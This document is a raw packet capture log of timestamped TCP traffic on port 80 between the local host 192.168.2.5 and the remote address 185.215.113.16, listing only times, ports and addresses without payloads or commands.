Dec 20, 2024 16:07:09.336558104 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.337361097 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.337446928 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.337585926 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.337640047 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.338351965 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.338411093 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.338424921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.338476896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.339350939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.339401960 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.339407921 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.339454889 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.340344906 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.340403080 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.340708971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.340771914 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.341346025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.341403008 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.341428041 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.341480017 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.342417002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.342454910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.342468023 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.342495918 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.343425989 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.343480110 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.343502045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.343554020 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.344856024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.344897985 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.344919920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.344943047 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.345488071 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.345544100 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.345571995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.345635891 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.346493959 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.346558094 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.346657991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.346714973 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.347512960 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.347594976 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.347618103 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.347670078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.348483086 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.348541021 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.348575115 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.348634005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.349510908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.349574089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.349674940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.349734068 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.350563049 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.350624084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.350739956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.350802898 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.351519108 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.351572990 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.351731062 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.351788998 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.352528095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.352590084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.352956057 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.353018045 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.353574991 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.353652000 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.353923082 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.353981972 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.354624033 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.354681015 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.354897976 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.354952097 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.355604887 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.355665922 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.355827093 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.355881929 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.356605053 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.356657028 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.357312918 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.357387066 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.357631922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.357706070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.357749939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.357801914 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.358681917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.358747005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.498938084 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.499017954 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.499104023 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.499149084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.499392986 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.499444008 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.499521971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.499567986 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.500473022 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.500525951 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.500566006 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.500606060 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.501439095 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.501493931 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.501768112 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.501818895 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.503134966 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.503185034 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.503334999 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.503386021 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.503467083 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.503514051 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.503637075 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.503681898 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.504606009 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.504662037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.504667044 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.504704952 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.505561113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.505609989 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.505641937 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.505685091 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.506654978 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.506704092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.507535934 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.507608891 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.507613897 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.507627010 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.507654905 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.507675886 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.508580923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.508626938 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.508652925 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.508694887 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.509583950 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.509633064 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.509710073 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.509754896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.510605097 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.510648966 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.510651112 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.510694027 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.511610031 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.511660099 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.511940956 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.511986017 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.512629032 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.512676001 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.512693882 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.512736082 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.513740063 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.513807058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.514359951 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.514411926 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.514736891 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.514791012 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.514843941 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.514894009 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.515728951 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.515789986 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.516298056 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.516349077 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.516722918 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.516767979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.516946077 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.516989946 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.517812967 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.517880917 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.518119097 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.518165112 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.518785000 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.518837929 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.518845081 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.518889904 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.519809961 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.519879103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.520422935 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.520487070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.520816088 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.520885944 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.520889997 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.520951033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.521867990 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.521929979 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.522382975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.522438049 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.522804022 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.522852898 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.522869110 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.522903919 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.523859978 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.523926020 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.524043083 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.524091005 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.524857044 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.524919033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.525088072 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.525137901 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.525876045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.525938988 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.526088953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.526139975 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.526921034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.526945114 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.526979923 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.526998997 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.527934074 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.528017998 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.528049946 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.528095961 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.528930902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.528984070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.529036045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.529079914 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.529938936 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.529989004 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.530046940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.530088902 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.530982971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.531037092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.531088114 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.531140089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.532036066 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.532085896 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.532104015 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.532147884 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.532985926 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.533037901 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.533116102 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.533159971 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.534009933 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.534065008 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.534116030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.534161091 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.535108089 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.535160065 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.535728931 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.535793066 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.536041975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.536093950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.536300898 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.536350965 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.537045002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.537096024 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.537158966 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.537199974 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.538084030 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.538165092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.538204908 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.538247108 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.539129972 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.539182901 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.539439917 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.539493084 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.540101051 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.540158033 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.540225029 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.540273905 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.541110992 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.541173935 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.541330099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.541376114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.542151928 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.542207003 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.542314053 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.542362928 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.543204069 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.543266058 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.543591022 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.543647051 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.544219971 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.544266939 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.544274092 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.544301987 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.545207977 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.545269012 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.545715094 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.545768023 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.546219110 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.546266079 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.546361923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.546403885 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.547254086 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.547307014 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.547414064 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.547457933 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.548270941 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.548342943 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.548403025 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.548443079 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.549305916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.549357891 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.549545050 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.549588919 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.550287008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.550333977 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.550755024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.550813913 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.551295996 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.551338911 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.551681995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.551728964 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.552285910 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.552345037 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.689874887 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.689964056 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.690012932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.690251112 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.690264940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.690279007 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.690299988 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.690326929 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.691129923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.691183090 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.691355944 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.691404104 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.692081928 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.692128897 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.692219973 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.692270994 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.692800045 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.692846060 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.692886114 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.692929029 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.693818092 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.693869114 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.694068909 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.694116116 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.694890022 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.694960117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.695005894 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.695075035 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.695858955 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.695905924 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.695940018 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.695985079 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.696867943 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.696918011 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.696954012 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.697000027 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.697871923 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:09.697923899 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:09.698158026 CET	80	49806	185.215.113.16	192.168.2.5
